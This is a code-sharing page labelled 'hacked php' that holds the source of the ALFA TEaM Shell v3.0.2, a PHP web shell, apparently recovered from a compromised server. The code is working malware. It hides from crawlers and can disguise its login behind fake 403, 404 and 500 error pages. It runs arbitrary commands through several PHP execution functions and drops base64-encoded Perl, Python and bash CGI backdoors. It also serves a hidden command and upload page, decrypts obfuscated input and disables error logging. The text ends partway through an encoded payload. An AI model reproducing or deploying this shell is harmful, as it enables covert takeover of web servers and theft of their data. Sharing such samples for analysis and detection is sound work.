Skip to content

Instantly share code, notes, and snippets.

@technion
Created Dec 30, 2021
Embed
What would you like to do?
hacked php
<?php
if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}
if(!isset($GLOBALS['DB_NAME']['user']))exit('$GLOBALS[\'DB_NAME\'][\'user\']');
if(!isset($GLOBALS['DB_NAME']['pass']))exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
if(!isset($GLOBALS['DB_NAME']['safemode']))exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
if(!isset($GLOBALS['DB_NAME']['login_page']))exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
if(!isset($GLOBALS['DB_NAME']['show_icons']))exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
if(!isset($GLOBALS['DB_NAME']['post_encryption']))exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
date_default_timezone_set('Asia/Tehran');
define("__ALFA_MD5NAME__", md5($_SERVER["SCRIPT_FILENAME"]));
define("__ALFA_VERSION__", "3.0.2");
define("__LAST_CWD__", "last_cwd_".__ALFA_MD5NAME__);
define("__PATH_HISTORY__", "path_history_".__ALFA_MD5NAME__);
define("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));
$GLOBALS['__ALFA_COLOR__'] = array(
"shell_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".header" => "border: 7px solid {color}",
"#meunlist" => "border-color: {color}",
"#hidden_sh" => "background-color: {color}",
".ajaxarea" => "border: 1px solid {color}",
".foot" => "border-color: {color}",
)
),
"header_vars" => "#27979B",
"header_values" => "#67ABDF",
"header_on" => "#00FF00",
"header_off" => "#ff0000",
"header_none" => "#00FF00",
"home_shell" => "#ff0000",
"home_shell:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".home_shell:hover" => "color: {color};",
)
),
"back_shell" => "#efbe73",
"back_shell:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".back_shell:hover" => "color: {color};",
)
),
"header_pwd" => "#00FF00",
"header_pwd:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".header_pwd:hover" => "color: {color};",
)
),
"header_drive" => "#00FF00",
"header_drive:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".header_drive:hover" => "color: {color};",
)
),
"header_show_all" => "#00FF00",
"disable_functions" => "#ff0000",
"footer_text" => "#27979B",
"menu_options" => "#27979B",
"menu_options:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".menu_options:hover" => "background-color: {color};font-weight: unset;",
)
),
"options_list" => array(
"key_color" => "#00FF00",
"multi_selector" => array(
".ajaxarea .header center a" => "color: {color};",
)
),
"options_list:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".ajaxarea .header center a:hover" => "color: {color};",
)
),
"options_list_header" => array(
"key_color" => "#59cc33",
"multi_selector" => array(
".txtfont_header" => "color: {color};",
)
),
"options_list_text" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".txtfont,.tbltxt" => "color: {color};",
)
),
"Alfa+" => array(
"key_color" => "#27E8AE",
"multi_selector" => array(
".alfa_plus" => "color: {color};font-weight: unset;",
)
),
"hidden_shell_text" => array(
"key_color" => "#00FF00",
"multi_selector" => array(
"#hidden_sh a" => "color: {color};",
)
),
"hidden_shell_version" => "#ff0000",
"shell_name" => "#FF0000",
"main_row:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".main tr:hover" => "background-color: {color};",
)
),
"main_header" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".main th" => "color: {color};",
)
),
"main_name" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".main .main_name" => "color: {color};font-weight: unset;",
)
),
"main_size" => "#67ABDF",
"main_modify" => "#67ABDF",
"main_owner_group" => "#67ABDF",
"main_green_perm" => "#25ff00",
"main_red_perm" => "#FF0000",
"main_white_perm" => "#FFFFFF",
"beetween_perms" => "#FFFFFF",
"main_actions" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".main .actions" => "color: {color};",
)
),
"menu_options:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".menu_options:hover" => "background-color: {color};font-weight: unset;",
)
),
"minimize_editor_background" => array(
"key_color" => "#0e304a",
"multi_selector" => array(
".minimized-wrapper" => "background-color: {color};",
)
),
"minimize_editor_text" => array(
"key_color" => "#f5deb3",
"multi_selector" => array(
".minimized-text" => "color: {color};",
)
),
"editor_border" => array(
"key_color" => "#0e304a",
"multi_selector" => array(
".editor-explorer,.editor-modal" => "border: 2px solid {color};",
)
),
"editor_background" => array(
"key_color" => "rgba(0, 1, 23, 0.94)",
"multi_selector" => array(
".editor-explorer,.editor-modal" => "background-color: {color};",
)
),
"editor_header_background" => array(
"key_color" => "rgba(21, 66, 88, 0.93)",
"multi_selector" => array(
".editor-header" => "background-color: {color};",
)
),
"editor_header_text" => array(
"key_color" => "#00ff7f",
"multi_selector" => array(
".editor-path" => "color: {color};",
)
),
"editor_header_button" => array(
"key_color" => "#1d5673",
"multi_selector" => array(
".close-button, .editor-minimize" => "background-color: {color};",
)
),
"editor_actions" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".editor_actions" => "color: {color};",
)
),
"editor_file_info_vars" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".editor_file_info_vars" => "color: {color};",
)
),
"editor_file_info_values" => array(
"key_color" => "#67ABDF",
"multi_selector" => array(
".filestools" => "color: {color};",
)
),
"editor_history_header" => array(
"key_color" => "#14ff07",
"multi_selector" => array(
".hheader-text,.history-clear" => "color: {color};",
)
),
"editor_history_list" => array(
"key_color" => "#03b3a3",
"multi_selector" => array(
".editor-file-name" => "color: {color};",
)
),
"editor_history_selected_file" => array(
"key_color" => "rgba(49, 55, 93, 0.77)",
"multi_selector" => array(
".is_active" => "background-color: {color};",
)
),
"editor_history_file:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".file-holder > .history:hover" => "background-color: {color};",
)
),
"input_box_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
"input[type=text],textarea" => "border: 1px solid {color}",
)
),
"input_box_text" => array(
"key_color" => "#999999",
"multi_selector" => array(
"input[type=text],textarea" => "color: {color};",
)
),
"input_box:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"select_box_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
"select" => "border: 1px solid {color}",
)
),
"select_box_text" => array(
"key_color" => "#FFFFEE",
"multi_selector" => array(
"select" => "color: {color};",
)
),
"select_box:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"button_border" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"input[type=submit],.button,#addup" => "border: 1px solid {color};",
)
),
"button:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",
".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"outputs_text" => array(
"key_color" => "#67ABDF",
"multi_selector" => array(
".ml1" => "color: {color};",
)
),
"outputs_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".ml1" => "border: 1px solid {color};",
)
),
"uploader_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"uploader_background" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".inputfile strong" => "background-color: {color};",
)
),
"uploader_text_right" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".inputfile strong" => "color: {color};",
)
),
"uploader_text_left" => array(
"key_color" => "#25ff00",
"multi_selector" => array(
".inputfile span" => "color: {color};",
)
),
"uploader:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"uploader_progress_bar" => array(
"key_color" => "#ff0000",
"multi_selector" => array(
"#up_bar" => "background-color: {color};",
)
),
"mysql_tables" => "#00FF00",
"mysql_table_count" => "#67ABDF",
"copyright" => "#ff0000",
"scrollbar" => array(
"key_color" => "#1e82b5",
"multi_selector" => array(
"*::-webkit-scrollbar-thumb" => "background-color: {color};",
)
),
"scrollbar_background" => array(
"key_color" => "#000115",
"multi_selector" => array(
"*::-webkit-scrollbar-track" => "background-color: {color};",
)
),
);
$GLOBALS['__file_path'] = str_replace('\\','/',trim(preg_replace('!\(\d+\)\s.*!', '', __FILE__)));
$config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'],'AlfaPass' => $GLOBALS['DB_NAME']['pass'],'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'],'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);
@session_start();
if($config['AlfaProtectShell']){
$SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");
$Eform='<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
if($config['AlfaLoginPage'] == 'gui'){
if(@$_SESSION["AlfaUser"] != $config['AlfaUser'] && @$_SESSION["AlfaPass"] != @md5($config['AlfaPass'])){
if(@$_POST["usrname"]==$config['AlfaUser'] && @md5($_POST["password"])==$config['AlfaPass']){
@$_SESSION["AlfaUser"] = $config['AlfaUser'];
@$_SESSION["AlfaPass"] = @md5($config['AlfaPass']);
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo '
<style>
body{background: black;}
#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }
#loginbox td { border-radius:5px; font-size:11px; }
</style>
<title>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.' ~</title><center>
<center><img style="border-radius:100px;" width="500" height="250" alt="" src="http://solevisible.com/images/alfa-iran.png" /></center>
<div id=loginbox><p><font face="verdana,arial" size=-1>
<center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'>
<tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.' ~</b></font></th></tr>
<tr><td bgcolor="black" style="padding:5">
<form method="post">
<input type="hidden" name="action" value="login">
<input type="hidden" name="hide" value="">
<center><table>
<tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr>
<tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr>
<tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table>
</div><br /></center>';
exit;
}
}elseif($config['AlfaLoginPage']=='500'){
if(@$_SESSION["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
@$_SESSION["AlfaUser"] = $config['AlfaUser'];
@$_SESSION["AlfaPass"] = @md5($config['AlfaPass']);
header('location: '.$_SERVER["PHP_SELF"]);
}
echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, '.$_SERVER['SERVER_ADMIN'].' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>'.$SERVER_SIG.'</body></html>'.$Eform;
exit;
}
}elseif($config['AlfaLoginPage']=='403'){
if(@$_SESSION["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
@$_SESSION["AlfaUser"] = $config['AlfaUser'];
@$_SESSION["AlfaPass"] = @md5($config['AlfaPass']);
header('location: '.$_SERVER["PHP_SELF"]);
}
echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access ".$_SERVER['PHP_SELF']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
}
}elseif($config['AlfaLoginPage']=='404'){
if(@$_SESSION["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
@$_SESSION["AlfaUser"] = $config['AlfaUser'];
@$_SESSION["AlfaPass"] = @md5($config['AlfaPass']);
header('location: '.$_SERVER["PHP_SELF"]);
}
echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
}
}
}
function decrypt_post($str, $pwd){
if(__ALFA_POST_ENCRYPTION__){
$pwd = __ZW5jb2Rlcg($pwd);
$str = __ZGVjb2Rlcg($str);
$enc_chr = "";
$enc_str = "";
$i = 0;
while ($i < strlen($str)) {
for ($j = 0; $j < strlen($pwd); $j++) {
$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
$enc_str .= $enc_chr;
$i++;
if ($i >= strlen($str))
break;
}
}
return __ZGVjb2Rlcg($enc_str);
}else{
return __ZGVjb2Rlcg($str);
}
}
function _AlfaSecretKey(){
if(!isset($_SESSION["AlfaSecretKey"])){
$_SESSION["AlfaSecretKey"] = uniqid(mt_rand(), true);
}
return $_SESSION["AlfaSecretKey"];
}
function alfa_getColor($target){
if(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){
return $GLOBALS["DB_NAME"]["color"][$target];
}else{
$target = $GLOBALS["__ALFA_COLOR__"][$target];
if(is_array($target)){
return $target["key_color"];
}else{
return $target;
}
}
}
function alfaCssLoadColors(){
$css = "";
foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){
if(!is_array($value)){
$value = alfa_getColor($key);
$css .= ".{$key}{color: {$value};}";
}else{
if(isset($value["multi_selector"])){
foreach($value["multi_selector"] as $k => $v){
$color = alfa_getColor($key);
$code = str_replace("{color}", $color, $v);
$css .= $k."{".$code."}";
}
}
}
}
return $css;
}
if(isset($_POST['ajax'])){
function AlfaNum(){
$args = func_get_args();
$alfax = array();
$find = array();
for($i=1;$i<=10;$i++){
$alfax[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo '<script>';
foreach($alfax as $alfa){
if(in_array($alfa,$find))
continue;
echo 'alfa'.$alfa."_=";
}
echo '""</script>';
}}
function _alfa_cgicmd($cmd,$lang="perl"){
if(isset($_SESSION["alfacgiapi_mode"])){
return "";
}
$cmd_pure = $cmd;
$is_curl = function_exists('curl_version');
$is_socket = function_exists('fsockopen');
if($is_curl||$is_socket){
$recreate = false;
if(isset($_SESSION["alfacgiapi"])){
if(!@file_exists("alfacgiapi/".$_SESSION["alfacgiapi"].".alfa")){
$recreate = true;
$lang = $_SESSION["alfacgiapi"];
}
}
if(!isset($_SESSION["alfacgiapi"])||$recreate){
@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
$perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
$py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
$bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
if($lang=="perl")$source = $perl;elseif($lang=="py")$source = $py;else $source = $bash;
alfaWriteTocgiapi($lang.".alfa",$source);
alfacgihtaccess('cgi', "alfacgiapi/");
}else{
$lang = $_SESSION["alfacgiapi"];
}
$cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS['cwd'].";".$cmd);
if($is_curl){
$address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/alfacgiapi/".$lang.".alfa";
$post = new AlfaCURL();
$data = $post->Send($address, "post", $cmd);
}elseif($is_socket){
$server = $_SERVER["SERVER_NAME"];
$uri = dirname($_SERVER["REQUEST_URI"])."/alfacgiapi/".$lang.".alfa";
$data = _alfa_fsockopen($server,$uri,$cmd);
}
$out = "";
if(strstr($data, "[solevisible~api]")){
$_SESSION["alfacgiapi"] = $lang;
if(@preg_match("/<pre>(.*?)<\/pre>/s", $data, $res)){
$out = $res[1];
}
}elseif($lang=="perl"){
return _alfa_cgicmd($cmd_pure,"py");
}elseif($lang=="py"){
return _alfa_cgicmd($cmd_pure,"bash");
}else{
$_SESSION["alfacgiapi_mode"] = "off";
}
return trim($out);
}else{
return "";
}
}
function alfaEx($in,$re=false,$cgi=true,$all=false){
$data = _alfa_php_cmd($in,$re);
if(empty($data)&&$cgi||$all){
if($GLOBALS['sys']=='unix'){
if(strlen(_alfa_php_cmd("whoami"))==0||$all){
$cmd = _alfa_cgicmd($in);
if(!empty($cmd)){
return $cmd;
}
}
}
}
return $data;
}
function _alfa_php_cmd($in,$re=false){
$out='';
try{
if($re)$in=$in." 2>&1";
if(function_exists('exec')){
@exec($in,$out);
$out = @join("\n",$out);
}elseif(function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists('system')){
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
}elseif(function_exists("popen")&&function_exists("pclose")){
if(is_resource($f = @popen($in,"r"))){
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
}elseif(function_exists('proc_open')){
$pipes = array();
$process = @proc_open($in.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);
$out=@stream_get_contents($pipes[1]);
}elseif(class_exists('COM')){
$alfaWs = new COM('WScript.shell');
$exec = $alfaWs->exec('cmd.exe /c '.$_POST['alfa1']);
$stdout = $exec->StdOut();
$out=$stdout->ReadAll();
}
}catch(Exception $e){}
return $out;
}
function _alfa_fsockopen($server,$uri,$post){
$socket = @fsockopen($server, 80, $errno, $errstr, 15);
if($socket){
$http = "POST {$uri} HTTP/1.0\r\n";
$http .= "Host: {$server}\r\n";
$http .= "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n";
$http .= "Content-Type: application/x-www-form-urlencoded\r\n";
$http .= "Content-length: " . strlen($post) . "\r\n";
$http .= "Connection: close\r\n\r\n";
$http .= $post . "\r\n\r\n";
fwrite($socket, $http);
$contents = "";
while (!@feof($socket)) {
$contents .= @fgets($socket, 4096);
}
list($header, $body) = explode("\r\n\r\n", $contents, 2);
@fclose($socket);
return $body;
}else{
return "";
}
}
if(isset($_GET["solevisible"])){
@error_reporting(E_ALL ^ E_NOTICE);
echo '<html>';
echo "<title>Solevisible Hidden Shell</title>";
echo "<body bgcolor=#000000>";
echo '<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">'.(function_exists('php_uname')?php_uname():'???').'</font></b></big>';
$safe_mode = @ini_get('safe_mode');
if($safe_mode){$r = "<b style='color: red'>On</b>";}else{$r = "<b style='color: green'>Off</b>";}
echo "<br><b style='color: #7CFC00'>OS: </font><font color=white>" . PHP_OS . "</font><br>";
echo "<b style='color: #7CFC00'>Software: </font><font color=white>" . $_SERVER ['SERVER_SOFTWARE'] . "</font><br>";
echo "PHP Version: <font color=white>" . PHP_VERSION . "</font><br />";
echo "PWD:<font color=#FFFFFF> " . str_replace("\\","/",@getcwd()) . "/<br />";
echo "<b style='color: #7CFC00'>Safe Mode : $r<br>";
echo"<font color=#7CFC00>Disable functions : </font>";
$disfun = @ini_get('disable_functions');
if(empty($disfun)){$disfun = '<font color="green">NONE</font>';}
echo"<font color=red>";
echo "$disfun";
echo"</font><br>";
echo "<b style='color: #7CFC00'>Your Ip Address is : </font><font color=white>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
echo "<b style='color: #7CFC00'>Server Ip Address is : </font><font color=white>".(function_exists('gethostbyname')?@gethostbyname($_SERVER["HTTP_HOST"]):'???')."</font><br><p>";
echo '<hr><center><form onSubmit="this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));" action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo 'CWD: <input type="text" name="cwd" value="'.str_replace("\\","/",@getcwd()).'/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>';
if(isset($_FILES['file'])){
if(@move_uploaded_file($_FILES['file']['tmp_name'], __ZGVjb2Rlcg(@$_POST['cwd']).'/'.$_FILES['file']['name'])){echo '<b><font color="#7CFC00"><center>Upload Successfully ;)</font></a><font color="#7CFC00"></b><br><br></center>'; }
else{echo '<center><b><font color="#7CFC00">Upload failed :(</font></a><font color="#7CFC0"></b></center><br><br>'; }
}
echo '<hr><form onSubmit="this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));" method="POST">Execute Command: <input name="command_solevisible" value="" size="59" type="text" align="left" ><input name="execute" value="Execute" type="submit"><br></form>
<hr><pre>';
if(isset($_POST['command_solevisible'])){
if(strtolower(substr(PHP_OS,0,3))=="win")$separator='&';else $separator=';';
$solevisible = "cd '".addslashes(str_replace("\\","/",@getcwd()))."'".$separator."".__ZGVjb2Rlcg($_POST['command_solevisible']);
echo alfaEx($solevisible);
}
echo'</pre>
</body></html>';
exit;}
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
if(function_exists('set_magic_quotes_runtime')){
@set_magic_quotes_runtime(0);
}
foreach($_POST as $key => $value){
if(is_array($_POST[$key])){
$i=0;
foreach($_POST[$key] as $f) {
$f = trim(str_replace(' ', '+',$f));
$_POST[$key][$i] = decrypt_post($f, _AlfaSecretKey());
$i++;
}
}else{
$value = trim(str_replace(' ', '+',$value));
$_POST[$key] = decrypt_post($value, _AlfaSecretKey());
}
}
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(strtolower(substr(PHP_OS,0,3))=="win")
$GLOBALS['sys']='win';
else
$GLOBALS['sys']='unix';
$GLOBALS['home_cwd'] = @getcwd();
if($_POST["a"] != "GetPathHistory"){
if($_SESSION[__LAST_CWD__]!=$_POST['c']){
$_SESSION[__PATH_HISTORY__] = $_SESSION[__LAST_CWD__];
}
}
$GLOBALS["need_to_update_header"] = "false";
if(isset($_POST['c'])){
if(!@chdir($_POST['c'])){
$GLOBALS['glob_chdir_false'] = true;
}
}
$GLOBALS['cwd'] = (isset($_SESSION[__LAST_CWD__])&&$_SESSION[__LAST_CWD__]!=''&&!isset($_POST['c'])?$_SESSION[__LAST_CWD__]:@getcwd());
if(!@is_dir){$GLOBALS['cwd'] = @getcwd();}
if($GLOBALS['sys'] == 'win'){
$GLOBALS['home_cwd'] = str_replace("\\", "/", $GLOBALS['home_cwd']);
$GLOBALS['cwd'] = str_replace("\\", "/", $GLOBALS['cwd']);
$_SESSION[__PATH_HISTORY__] = str_replace("\\", "/", $_SESSION[__PATH_HISTORY__]);
}
if($GLOBALS['cwd'][strlen($GLOBALS['cwd'])-1] != '/' )$GLOBALS['cwd'] .= '/';
function alfaGetPathHistory(){echo (isset($_SESSION[__PATH_HISTORY__])&&!empty($_SESSION[__PATH_HISTORY__])?$_SESSION[__PATH_HISTORY__]: $GLOBALS['home_cwd']);}
function alfahead(){
if(!function_exists('sys_get_temp_dir')){function sys_get_temp_dir() {foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS['__file_path'], '');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}
$GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319Z